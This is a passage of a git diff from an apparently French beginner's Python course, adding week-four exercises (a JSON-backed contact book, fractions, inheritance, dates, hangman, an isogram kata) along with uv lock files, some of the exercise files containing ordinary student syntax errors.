"https://files.pythonhosted.org/packages/b7/2d/64b26e21183a7ff180105871dd5983a8da539d8768921728268dc6d0a73d/pyqt6_sip-13.11.0-cp314-cp314-win_amd64.whl", hash = "sha256:9bd81cb351640abc803ea2fe7262b5adea28615c9b96fd103d1b6f3459937211", size = 55078, upload-time = "2026-01-13T16:01:29.853Z" }, + { url = "https://files.pythonhosted.org/packages/7e/36/23f699fa8b1c3fcc312ecd12661a1df6057d92e16d4def2399b59cf7bf22/pyqt6_sip-13.11.0-cp314-cp314-win_arm64.whl", hash = "sha256:cd95ec98f8edb15bcea832b8657809f69d758bc4151cc6fd7790c0181949e45f", size = 49465, upload-time = "2026-01-13T16:01:31.174Z" }, +] diff --git a/Semaine_04/Contacts/.python-version b/Semaine_04/Contacts/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Contacts/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Contacts/README.md b/Semaine_04/Contacts/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Contacts/classes.py b/Semaine_04/Contacts/classes.py new file mode 100644 index 0000000..8079cfe --- /dev/null +++ b/Semaine_04/Contacts/classes.py @@ -0,0 +1,91 @@ +import json + +class Contact: + def __init__(self, name: str, phone: str, email: str): + self.name = name + self.phone = phone + self.email = email + + def __iter__(self): + yield self.name + yield self.phone + yield self.email + + def __repr__(self) -> str: + return f"{self.name} - {self.phone} - {self.email}" + + def __eq__(self, other: "Contact"): + return self.name == other.name\ + and self.phone == other.phone\ + and self.email == other.email + + def serialized(self): + """Converti la classe en dictionnaire JSONable""" + return {"Name": self.name, "Phone": self.phone, "Email": self.email} + + @classmethod + def deserialized(cls, dictionnary): + """Lis un JSON pour le retranscrire en classe Contact""" + return cls(name= dictionnary["Name"], phone= dictionnary["Phone"], email= dictionnary["Email"]) + +class Repertory: + def __init__(self, name: str): + self.name = name + self.contacts: list[Contact] = self.load() + + def __iter__(self): + return iter(self.contacts) + + def __getitem__(self, index: int) -> Contact: + return self.contacts[index] + + def add_contact(self, contact: Contact): + if contact in self.contacts: + return f"{contact.name} est déjà dans le répertoire." + self.contacts.append(contact) + self.save() + return f"Nouveau contact :\nNom : {contact.name}\nNuméro : {contact.phone}\nCourriel : {contact.email}" + + def delete_contact(self, contact_info: str): + for contact in self.contacts: + if contact.name.lower() == contact_info.lower()\ + or contact.phone.lower() == contact_info.lower()\ + or contact.email.lower() == contact_info.lower(): + self.contacts.remove(contact) + self.save() + return f"{contact.name} a été supprimé du répertoire." + return f"{contact.name} n'est pas dans le répertoire." + + def search_contact(self, research_str: str): + results = [] + for contact in self.contacts: + if research_str.lower() in contact.name.lower()\ + or research_str.lower() in contact.phone.lower()\ + or research_str.lower() in contact.email.lower(): + results.append(contact) + return results if len(results) > 0 else "Pas de résultat." + + def display_contacts(self): + results = [] + for idx, contact in enumerate(self.contacts): + results.append( + f"----- Contact n°{idx + 1} -----\n" + f"Nom : {contact.name}\n" + f"Numéro : {contact.phone}\n" + f"Courriel : {contact.email}\n" + " " + ) + return "".join(results) if results else "Aucun contact dans le répertoire." + + # Sauvegarde des livres dans un JSON pour persistance des données + + def save(self): + """Inscris dans un fichier JSON le contenu de la bibliothèque""" + contact_dict = [contact.serialized() for contact in self.contacts] + with open("contacts.json", "w") as json_file: # a pour append, w pour write + json.dump(contact_dict, json_file, indent= 4) + + def load(self) -> list[Contact]: + """Récupère le contenu d'un fichier JSON""" + with open("contacts.json") as json_file: + return json.load(json_file, object_hook= Contact.deserialized) \ No newline at end of file diff --git a/Semaine_04/Contacts/contacts.json b/Semaine_04/Contacts/contacts.json new file mode 100644 index 0000000..9773822 --- /dev/null +++ b/Semaine_04/Contacts/contacts.json @@ -0,0 +1,27 @@ +[ + { + "Name": "Alberto", + "Phone": "0612345678", + "Email": "alberto@courriel.fr" + }, + { + "Name": "Alice", + "Phone": "0123456789", + "Email": "alice@gmail.com" + }, + { + "Name": "Alberto", + "Phone": "0482764563", + "Email": "kfjsbdfg@sdfgj.fr" + }, + { + "Name": "Giorgio", + "Phone": "857398375493", + "Email": "giorgio.armani@armagnac.it" + }, + { + "Name": "Fran\u00e7ois LE GUERAND", + "Phone": "0145892367", + "Email": "fr-le-g@gmail.fr" + } +] \ No newline at end of file diff --git a/Semaine_04/Contacts/main.py b/Semaine_04/Contacts/main.py new file mode 100644 index 0000000..2d9a2a0 --- /dev/null +++ b/Semaine_04/Contacts/main.py @@ -0,0 +1,18 @@ +from classes import Contact,Repertory + +repertory = Repertory("Repertoire") + +for i in range(1): + new_contact_name = input("Nom > ") + new_contact_phone = input("Numéro > ") + new_contact_email = input("Courriel > ") + + new_contact = Contact(new_contact_name, new_contact_phone, new_contact_email) + new_contact_added = repertory.add_contact(new_contact) + + print(new_contact_added) + +search_criteria = input("Critères de recherche > ") +print(repertory.search_contact(search_criteria)) + +print(repertory.display_contacts()) diff --git a/Semaine_04/Contacts/pyproject.toml b/Semaine_04/Contacts/pyproject.toml new file mode 100644 index 0000000..0a222b8 --- /dev/null +++ b/Semaine_04/Contacts/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "contacts" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [] diff --git a/Semaine_04/Contacts/uv.lock b/Semaine_04/Contacts/uv.lock new file mode 100644 index 0000000..3620997 --- /dev/null +++ b/Semaine_04/Contacts/uv.lock @@ -0,0 +1,8 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "contacts" +version = "0.1.0" +source = { virtual = "." } diff --git a/Semaine_04/Divers/.python-version b/Semaine_04/Divers/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Divers/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Divers/README.md b/Semaine_04/Divers/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Divers/gestion_erreur.py b/Semaine_04/Divers/gestion_erreur.py new file mode 100644 index 0000000..a3c29e1 --- /dev/null +++ b/Semaine_04/Divers/gestion_erreur.py @@ -0,0 +1,33 @@ +class Fraction: + def __init__(self, numerateur, denominateur): + if denominateur == 0: + raise ValueError("Le denominateur ne peut etre nul") + if not isinstance(denominateur, int) or not isinstance(numerateur, int): + raise TypeError("Le numerateur/denominateur doit etre un entier") + self.numerateur = numerateur + self.denominateur = denominateur + + @property + def quotient(self): + return self.numerateur / self.denominateur + +print("Debut programme") +try: + tiers = Fraction(1, '0') + print(tiers.quotient) +except (ValueError, TypeError) as msg : + print(msg) + +liste = [1,2,3,4] +dico = {'nom': "John"} + +try: + print(dico['prenom']) + print(liste[7]) +except LookupError as msg: + if isinstance(msg, KeyError): + print("La cle n'existe pas") + else: + print(msg) + +print("Fin du programme") \ No newline at end of file diff --git a/Semaine_04/Divers/main.py b/Semaine_04/Divers/main.py new file mode 100644 index 0000000..d9fc093 --- /dev/null +++ b/Semaine_04/Divers/main.py @@ -0,0 +1,31 @@ +from typing import TypedDict + + +def addition(*args): # args => tuple (2,3,4,5,6,6,6,7,7,8,9) + return sum(args) + +print(addition(2,3,4,5)) + +livres = [ + {"titre": "1984", "auteur": "Orwell"}, + {"titre": "1983", "auteur": "Orwella"}, + {"titre": "1985", "auteur": "Orwell"} +] + + +def display_infos(**kwargs): # kwargs => dict {"Titre": "Scandale", "Auteur": "Marlène Schiappa"} + resultats = [] + for livre in livres: + if "auteur" in kwargs and kwargs["auteur"].lower() in livre["auteur"]: + resultats.append(livre) + if "titre" in kwargs and kwargs["titre"].lower() in livre["titre"]: + resultats.append(livre) + return resultats + +infos: dict[str | int, str | int] = {"age": 23, "nom": "Albatar", "is_admin" : False} + +class Criteres(TypedDict): + auteur: NotRequired[str] + titre: NotRequired[str] + +print(CONSTANTES["db_name"]) \ No newline at end of file diff --git a/Semaine_04/Divers/manip_date.py b/Semaine_04/Divers/manip_date.py new file mode 100644 index 0000000..f0259d4 --- /dev/null +++ b/Semaine_04/Divers/manip_date.py @@ -0,0 +1,42 @@ +from datetime import date, time, datetime, timedelta +import pytz + +date_2026 = date(2026, 1, 10) +print(date_2026) + +today = date.today() +print(today) + +hour = time() +print(hour) + +hour = time(12, 34, 23) +print(hour) + +hour_now = datetime.now().time() +print(hour_now) +day_now = datetime.now().date() +print(day_now) + +timezone_paris = pytz.timezone("Europe/Paris") +timezone_moscou = pytz.timezone("Europe/Moscow") +timezone_pyongyang = pytz.timezone("Asia/Pyongyang") + +heure_actuelle_paris = datetime.now(tz= timezone_paris) +heure_actuelle_moscou = datetime.now(tz= timezone_moscou) +heure_actuelle_pyongyang = datetime.now(tz= timezone_pyongyang) + +print(heure_actuelle_paris) +print(heure_actuelle_moscou) +print(heure_actuelle_pyongyang) + +date_15_jours = date.today() + timedelta(days= 15) +print(date_15_jours) + +debut_voyage = datetime(2026, 1, 16, 12, 7, 18, tzinfo= timezone_paris) +fin_voyage = datetime(2026, 12, 25, 13, 56, 23, tzinfo= timezone_pyongyang) +print(debut_voyage - fin_voyage) + +detail_voyage = debut_voyage - fin_voyage +print(detail_voyage.days) +print(detail_voyage.seconds) \ No newline at end of file diff --git a/Semaine_04/Divers/pyproject.toml b/Semaine_04/Divers/pyproject.toml new file mode 100644 index 0000000..5950b91 --- /dev/null +++ b/Semaine_04/Divers/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "divers" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "pytz>=2025.2", +] diff --git a/Semaine_04/Divers/uv.lock b/Semaine_04/Divers/uv.lock new file mode 100644 index 0000000..4f33bff --- /dev/null +++ b/Semaine_04/Divers/uv.lock @@ -0,0 +1,23 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "divers" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "pytz" }, +] + +[package.metadata] +requires-dist = [{ name = "pytz", specifier = ">=2025.2" }] + +[[package]] +name = "pytz" +version = "2025.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/bf/abbd3cdfb8fbc7fb3d4d38d320f2441b1e7cbe29be4f23797b4a2b5d8aac/pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3", size = 320884, upload-time = "2025-03-25T02:25:00.538Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00", size = 509225, upload-time = "2025-03-25T02:24:58.468Z" }, +] diff --git a/Semaine_04/Exercices/.python-version b/Semaine_04/Exercices/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Exercices/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Exercices/README.md b/Semaine_04/Exercices/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Exercices/coke_kata.py b/Semaine_04/Exercices/coke_kata.py new file mode 100644 index 0000000..4e23cdf --- /dev/null +++ b/Semaine_04/Exercices/coke_kata.py @@ -0,0 +1,21 @@ +""" +An isogram is a word that has no repeating letters, consecutive or non-consecutive. Implement a function that determines whether a string that contains only letters is an isogram. Assume the empty string is an isogram. Ignore letter case. + +Example: (Input --> Output) + +"Dermatoglyphics" --> true +"aba" --> false +"moOse" --> false (ignore letter case) +""" + +def is_isogram(string): + string = string.lower() + for letter in string: + if string.count(letter) > 1: + return False + return True + +# Solution la plus opti + +def is_isogram(string): + return len(string) == len(set(string.lower())) diff --git a/Semaine_04/Exercices/exo_01.py b/Semaine_04/Exercices/exo_01.py new file mode 100644 index 0000000..bf11507 --- /dev/null +++ b/Semaine_04/Exercices/exo_01.py @@ -0,0 +1,72 @@ +destinations = { + "Pyongyang": 5, + "Havana": 2, + "Caracas": 7 +} + +destinations["Moscow"] = 0 +destinations["Ho-Chi-Minh Town"] = 0 + +def add_destination(destinations: dict, town: str, number: int): + if town not in destinations: + destinations[town] = 0 + +def add_reservation(destinations: dict, town: str, number: int): + if town in destinations: + destinations[town] += number + else: + destinations[town] = number + +def remove_reservation(destinations: dict, town: str): + if town in destinations: + new_destinations = dict(destinations) + del new_destinations[town] + return new_destinations + +def show_destinations_available(destinations: dict): + for town in destinations: + if destinations[town] != 0: + print(town + " : " + str(destinations[town])) + +def show_destinations_by_reservations(destinations: dict): + print(sorted(destinations)) # ["Pyongyang", "Havana", "Caracas"] + print(sorted(destinations.keys())) # ["Pyongyang", "Havana", "Caracas"] + print(sorted(destinations.values)) # [5, 2, 7] + print(sorted(destinations.items)) # [("Pyongyang", 5), ("Havana", 2), ("Caracas", 7)] + +def return_second_tuple_element(tuple): + return tuple[1] + +print(sorted(destinations.items(), key= return_second_tuple_element)) # [('Moscow', 0), ('Ho-Chi-Minh Town', 0), ('Havana', 2), ('Pyongyang', 5), ('Caracas', 7)] +print(sorted(destinations.items(), key= lambda tuple : tuple[1])) # [('Moscow', 0), ('Ho-Chi-Minh Town', 0), ('Havana', 2), ('Pyongyang', 5), ('Caracas', 7)] + +#show_destinations_available(destinations) + +# Données déstructurées + +dc_infos = ("Dale", "Cooper", "32") +dc_prenom = dc_infos[0] +dc_nom = dc_infos[1] +dc_age = dc_infos[2] + +dc_prenom, dc_nom, dc_age = dc_infos + +def generator(): + for i in range(10): + yield i + +def square_generator(n): + for i in range(n): + yield i ** 2 + +print(generator()) +squares = square_generator(10) + +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) \ No newline at end of file diff --git a/Semaine_04/Exercices/exo_03.py b/Semaine_04/Exercices/exo_03.py new file mode 100644 index 0000000..794d665 --- /dev/null +++ b/Semaine_04/Exercices/exo_03.py @@ -0,0 +1,28 @@ +import sys + +input_string = input("Ecris un truc > ") + +if len(input_string) == 0: + print("Tu aurais pu participer.") + sys.exit() + +def return_string_infos(input_string: str): + print("Tu as tapé : " + "\"" + input_string + "\"") + print("Elle fait exactement " + str(len(input_string)) + " caractères.") + print("EN MAJUSCULES, ELLE DONNE : " + "\"" + input_string.upper() + "\"") + print("en minuscules, elle donne : " + "\"" + input_string.lower() + "\"") + print("A l'envers, elle donne : " + "\"" + input_string[::-1] + "\"") + +def replace_word_in_string(input_string: str, word_to_replace: str, word_replacement: str) -> str: + print(f"Remplaçant \"{word_to_replace}\" par \"{word_replacement}\", cela donne : {input_string.replace(word_to_replace, word_replacement)}") + +def count_occurences_in_string(input_string: str, occurence: str): + print(f"L'occurence \"{occurence}\" apparaît {input_string.count(occurence)} fois.") + +def strip_of_spaces(input_string: str): + print(f"Sans les espaces de début et de fin, cela donne : {input_string.strip()}") + +return_string_infos(input_string) +replace_word_in_string(input_string, "vie", "mort") +count_occurences_in_string(input_string, "e") +strip_of_spaces(input_string) \ No newline at end of file diff --git a/Semaine_04/Exercices/main.py b/Semaine_04/Exercices/main.py new file mode 100644 index 0000000..949c093 --- /dev/null +++ b/Semaine_04/Exercices/main.py @@ -0,0 +1 @@ +from Semaine_04.Exercice_01.exo_01 import \ No newline at end of file diff --git a/Semaine_04/Exercices/pendu.py b/Semaine_04/Exercices/pendu.py new file mode 100644 index 0000000..65e4f4b --- /dev/null +++ b/Semaine_04/Exercices/pendu.py @@ -0,0 +1,34 @@ +word_to_find = "parapluie" +word_hidden = "_" * len(word_to_find) +list_word_hidden = list(word_hidden) +attempts = 10 + +already_chosen_letter = [] + +print(word_hidden) + +while word_hidden != word_to_find and attempts > 0: + chosen_letter = input("Saisir une lettre > ").strip().lower()[0] # on ne prend VRAIMENT que la première lettre + + if chosen_letter in already_chosen_letter: + print(f"Vous avez déjà saisie la lettre {chosen_letter.upper()}.") + attempts -= 1 + continue + + already_chosen_letter.append(chosen_letter) + + if chosen_letter not in word_to_find: + attempts -= 1 + continue + + for index, letter in enumerate(word_to_find): + if letter == chosen_letter: + list_word_hidden[index] = chosen_letter + + word_hidden = "".join(list_word_hidden) + print(f"Il reste {attempts} tentatives. \n {word_hidden} \n") + +if word_hidden != word_to_find: + print(f"Perdu ! Le mot était {word_to_find.upper()}.") +else: + print("Gagné !") \ No newline at end of file diff --git a/Semaine_04/Exercices/pyproject.toml b/Semaine_04/Exercices/pyproject.toml new file mode 100644 index 0000000..dfb5994 --- /dev/null +++ b/Semaine_04/Exercices/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "exercice-01" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [] diff --git a/Semaine_04/Exercices/uv.lock b/Semaine_04/Exercices/uv.lock new file mode 100644 index 0000000..aa108c2 --- /dev/null +++ b/Semaine_04/Exercices/uv.lock @@ -0,0 +1,8 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "exercice-01" +version = "0.1.0" +source = { virtual = "." } diff --git a/Semaine_04/Exercices_python.pdf b/Semaine_04/Exercices_python.pdf new file mode 100644 index 0000000..735659c Binary files /dev/null and b/Semaine_04/Exercices_python.pdf differ diff --git a/Semaine_04/Fonctions/.python-version b/Semaine_04/Fonctions/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Fonctions/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Fonctions/README.md b/Semaine_04/Fonctions/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Fonctions/composition.py b/Semaine_04/Fonctions/composition.py new file mode 100644 index 0000000..f3a1e28 --- /dev/null +++ b/Semaine_04/Fonctions/composition.py @@ -0,0 +1,6 @@ +from math import pi + +class Point: + def __init__(self, x: float, y: float): + self.x = x + self.y = y \ No newline at end of file diff --git a/Semaine_04/Fonctions/csv_test b/Semaine_04/Fonctions/csv_test new file mode 100644 index 0000000..5761aef --- /dev/null +++ b/Semaine_04/Fonctions/csv_test @@ -0,0 +1 @@ +Nom,Prénom,Âge diff --git a/Semaine_04/Fonctions/fractions_3.py b/Semaine_04/Fonctions/fractions_3.py new file mode 100644 index 0000000..16f1ae8 --- /dev/null +++ b/Semaine_04/Fonctions/fractions_3.py @@ -0,0 +1,57 @@ +# Reussir dans la POO c'est se rapprocher au plus pret de la realite +from typing import Self + + +class Fraction: + def __init__(self, numerateur, denominateur): + # Attributs + self.numerateur = numerateur # tiers.numerateur = 1 + self.denominateur = denominateur + self.simplifier() + + def quotient(self): + return self.numerateur / self.denominateur + + @classmethod # decorateur + def from_str(cls, num: str, den: str): + return cls(numerateur= int(num), denominateur= int(den)) + + @staticmethod # Pas de 'self' => Helpers + def pgcd(a, b): + if b == 0: return a + return Fraction.pgcd(a= b, b= a % b) + + def simplifier(self): + a = self.numerateur + b = self.denominateur + pgcd = Fraction.pgcd(a, b) + + self.numerateur = self.numerateur // pgcd + self.denominateur //= pgcd + + def __add__(self, fraction): + num = (self.numerateur * fraction.denominateur) + (self.denominateur * fraction.numerateur) + den = self.denominateur * fraction.denominateur + return Fraction(numerateur= num, denominateur= den) + + def __mul__(self, facteur: int | Self): + if isinstance(facteur, int): + return Fraction( + numerateur= self.numerateur * facteur, + denominateur= self.denominateur + ) + return Fraction( + numerateur= self.numerateur * facteur.numerateur, + denominateur= self.denominateur * facteur.denominateur + ) + + def __rmul__(self, nombre: int): + return self.__mul__(nombre) + + def __repr__(self): + return f"Fraction({self.numerateur}/{self.denominateur})" + +# le PGCD de 146 et 248 +fraction = Fraction.from_str('2', '5') +print(fraction * 2) +print(2 * fraction) \ No newline at end of file diff --git a/Semaine_04/Fonctions/functions.py b/Semaine_04/Fonctions/functions.py new file mode 100644 index 0000000..87383f3 --- /dev/null +++ b/Semaine_04/Fonctions/functions.py @@ -0,0 +1,42 @@ +import os +from tkinter.ttk import Separator +import pandas +import csv + +def addition(a: int, b: int): + somme = a + b + return somme + +def create_folder(path: str, name:str): + chemin_complet = os.path.join(path, name) + if not os.path.isdir(chemin_complet): + os.mkdir(chemin_complet) + +def create_empty_csv_file( + path: str, + filename: str, + /, # ce qui est avant le / est du positionnage + *, # ce qui est après le * est du nommage + colonnes: list, + separateur: str = "," + ): + tableau = pandas.DataFrame(columns= colonnes) + chemin_complet = os.path.join(path, filename) + tableau.to_csv( + path_or_buf= chemin_complet, + sep= separateur, + index= False + ) + +def write_to_csv( + path: str, + filename: str, + colonnes: list, + donnees: list[dict] + ): + if not filename.endswith(".csv"): + filename += ".csv" + chemin_complet = os.path.join(path, filename) + fichier_csv = open(chemin_complet, "a") + writer = csv.DictWriter(fichier_csv, colonnes, delimiter= separateur, lineterminator= "\n") + writer.writerows(donnees) \ No newline at end of file diff --git a/Semaine_04/Fonctions/main.py b/Semaine_04/Fonctions/main.py new file mode 100644 index 0000000..9fae9b5 --- /dev/null +++ b/Semaine_04/Fonctions/main.py @@ -0,0 +1,31 @@ +from functions import addition, create_folder, create_empty_csv_file, write_to_csv + +print(addition(3,7)) + +create_folder(".", "data") + +# Ou bien, si on veut changer l'ordre des arguments + +create_folder( + name= "data", + path= "." +) + +create_empty_csv_file( + ".", + "csv_test", + colonnes= ["Nom", "Prénom", "Âge"] +) + +data = [ + {"id" = 1, "Prénom": "Dale", "Nom": "Cooper", "Âge": 35}, + {"id" = 2, "Prénom": "Dale", "Nom": "Cooper", "Âge": 35}, + {"id" = 3, "Prénom": "Dougie", "Nom": "Jones", "Âge": 35}, +] + +write_to_csv( + path= "data", + filename= "donnees", + colonnes= ["Nom", "Prénom", "Âge"], + donnees= data[] +) \ No newline at end of file diff --git a/Semaine_04/Fonctions/persons.py b/Semaine_04/Fonctions/persons.py new file mode 100644 index 0000000..97f2aa4 --- /dev/null +++ b/Semaine_04/Fonctions/persons.py @@ -0,0 +1,26 @@ +# Heritage / Composition +# Heritage: relation "EST UN" + +class Person: + def __init__(self, nom, prenom, age): + self.nom = nom + self.prenom = prenom + self.age = age + + def dire_bonjour(self): + return "Bonjour tout le monde" + +class Student(Person): # Heritage + def __init__(self, nom, prenom, age, domaine): + super().__init__(nom, prenom, age) + self.domaine = domaine + + # override + def dire_bonjour(self): + return super().dire_bonjour() + "! Ca va?" + +alice = Student('Smith', 'Alice', 19, 'Finance') +print(alice.dire_bonjour()) +print(alice.__dict__) +print(isinstance(alice, Student)) +print(isinstance(alice, Person)) \ No newline at end of file diff --git a/Semaine_04/Fonctions/pyproject.toml b/Semaine_04/Fonctions/pyproject.toml new file mode 100644 index 0000000..a02ea95 --- /dev/null +++ b/Semaine_04/Fonctions/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "fonctions" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "pandas>=2.3.3", +] diff --git a/Semaine_04/Fonctions/shapes.py b/Semaine_04/Fonctions/shapes.py new file mode 100644 index 0000000..1fd4d61 --- /dev/null +++ b/Semaine_04/Fonctions/shapes.py @@ -0,0 +1,47 @@ +# Composition: traduit une relation "A UN" "POSSED UN" "DEPEND DE" +from math import pi +from composition import Point + +class Forme: # Abstraction + def __init__(self, centre: Point): + self.centre = centre + + def aire(self): + raise NotImplementedError("Attention aire doit etre redefini") + + def perimetre(self): + raise NotImplementedError("Attention perimetre doit etre redefini") + +class Cercle: + def __init__(self, centre: Point, rayon: float): + self.centre = centre + self.rayon = rayon + + @property + def aire(self): + return pi * self.rayon ** 2 + + @property + def perimetre(self): + return 2 * pi * self.rayon + +class Rectangle(Forme): + def __init__(self, centre: Point, longeur: float, largeur: float): + super().__init__(centre) + self.longueur = longeur + self.largeur = largeur + + def aire(self): + return self.longueur * self.largeur + + def perimetre(self): + return 2 * (self.longueur + self.largeur) + +cercle1 = Cercle(centre= Point(2, 2), rayon= 5) +cercle2 = Cercle(centre= Point(-2, 2), rayon= 6) +rect1 = Rectangle(centre= Point(0, 0), longeur= 12, largeur= 5) +rect2 = Rectangle(centre= Point(1, 1), longeur= 10, largeur= 6) + +formes = [cercle1, cercle2, rect1, rect2] +for forme in formes: + print(forme.aire()) \ No newline at end of file diff --git a/Semaine_04/Fonctions/uv.lock b/Semaine_04/Fonctions/uv.lock new file mode 100644 index 0000000..9e3bb28 --- /dev/null +++ b/Semaine_04/Fonctions/uv.lock @@ -0,0 +1,161 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "fonctions" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "pandas" }, +] + +[package.metadata] +requires-dist = [{ name = "pandas", specifier = ">=2.3.3" }] + +[[package]] +name = "numpy" +version = "2.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/62/ae72ff66c0f1fd959925b4c11f8c2dea61f47f6acaea75a08512cdfe3fed/numpy-2.4.1.tar.gz", hash = "sha256:a1ceafc5042451a858231588a104093474c6a5c57dcc724841f5c888d237d690", size = 20721320, upload-time = "2026-01-10T06:44:59.619Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/7f/ec53e32bf10c813604edf07a3682616bd931d026fcde7b6d13195dfb684a/numpy-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d3703409aac693fa82c0aee023a1ae06a6e9d065dba10f5e8e80f642f1e9d0a2", size = 16656888, upload-time = "2026-01-10T06:42:40.913Z" }, + { url = "https://files.pythonhosted.org/packages/b8/e0/1f9585d7dae8f14864e948fd7fa86c6cb72dee2676ca2748e63b1c5acfe0/numpy-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7211b95ca365519d3596a1d8688a95874cc94219d417504d9ecb2df99fa7bfa8", size = 12373956, upload-time = "2026-01-10T06:42:43.091Z" }, + { url = "https://files.pythonhosted.org/packages/8e/43/9762e88909ff2326f5e7536fa8cb3c49fb03a7d92705f23e6e7f553d9cb3/numpy-2.4.1-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:5adf01965456a664fc727ed69cc71848f28d063217c63e1a0e200a118d5eec9a", size = 5202567, upload-time = "2026-01-10T06:42:45.107Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ee/34b7930eb61e79feb4478800a4b95b46566969d837546aa7c034c742ef98/numpy-2.4.1-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:26f0bcd9c79a00e339565b303badc74d3ea2bd6d52191eeca5f95936cad107d0", size = 6549459, upload-time = "2026-01-10T06:42:48.152Z" }, + { url = "https://files.pythonhosted.org/packages/79/e3/5f115fae982565771be994867c89bcd8d7208dbfe9469185497d70de5ddf/numpy-2.4.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0093e85df2960d7e4049664b26afc58b03236e967fb942354deef3208857a04c", size = 14404859, upload-time = "2026-01-10T06:42:49.947Z" }, + { url = "https://files.pythonhosted.org/packages/d9/7d/9c8a781c88933725445a859cac5d01b5871588a15969ee6aeb618ba99eee/numpy-2.4.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7ad270f438cbdd402c364980317fb6b117d9ec5e226fff5b4148dd9aa9fc6e02", size = 16371419, upload-time = "2026-01-10T06:42:52.409Z" }, + { url = "https://files.pythonhosted.org/packages/a6/d2/8aa084818554543f17cf4162c42f162acbd3bb42688aefdba6628a859f77/numpy-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:297c72b1b98100c2e8f873d5d35fb551fce7040ade83d67dd51d38c8d42a2162", size = 16182131, upload-time = "2026-01-10T06:42:54.694Z" }, + { url = "https://files.pythonhosted.org/packages/60/db/0425216684297c58a8df35f3284ef56ec4a043e6d283f8a59c53562caf1b/numpy-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf6470d91d34bf669f61d515499859fa7a4c2f7c36434afb70e82df7217933f9", size = 18295342, upload-time = "2026-01-10T06:42:56.991Z" }, + { url = "https://files.pythonhosted.org/packages/31/4c/14cb9d86240bd8c386c881bafbe43f001284b7cce3bc01623ac9475da163/numpy-2.4.1-cp312-cp312-win32.whl", hash = "sha256:b6bcf39112e956594b3331316d90c90c90fb961e39696bda97b89462f5f3943f", size = 5959015, upload-time = "2026-01-10T06:42:59.631Z" }, + { url = "https://files.pythonhosted.org/packages/51/cf/52a703dbeb0c65807540d29699fef5fda073434ff61846a564d5c296420f/numpy-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:e1a27bb1b2dee45a2a53f5ca6ff2d1a7f135287883a1689e930d44d1ff296c87", size = 12310730, upload-time = "2026-01-10T06:43:01.627Z" }, + { url = "https://files.pythonhosted.org/packages/69/80/a828b2d0ade5e74a9fe0f4e0a17c30fdc26232ad2bc8c9f8b3197cf7cf18/numpy-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:0e6e8f9d9ecf95399982019c01223dc130542960a12edfa8edd1122dfa66a8a8", size = 10312166, upload-time = "2026-01-10T06:43:03.673Z" }, + { url = "https://files.pythonhosted.org/packages/04/68/732d4b7811c00775f3bd522a21e8dd5a23f77eb11acdeb663e4a4ebf0ef4/numpy-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d797454e37570cfd61143b73b8debd623c3c0952959adb817dd310a483d58a1b", size = 16652495, upload-time = "2026-01-10T06:43:06.283Z" }, + { url = "https://files.pythonhosted.org/packages/20/ca/857722353421a27f1465652b2c66813eeeccea9d76d5f7b74b99f298e60e/numpy-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:82c55962006156aeef1629b953fd359064aa47e4d82cfc8e67f0918f7da3344f", size = 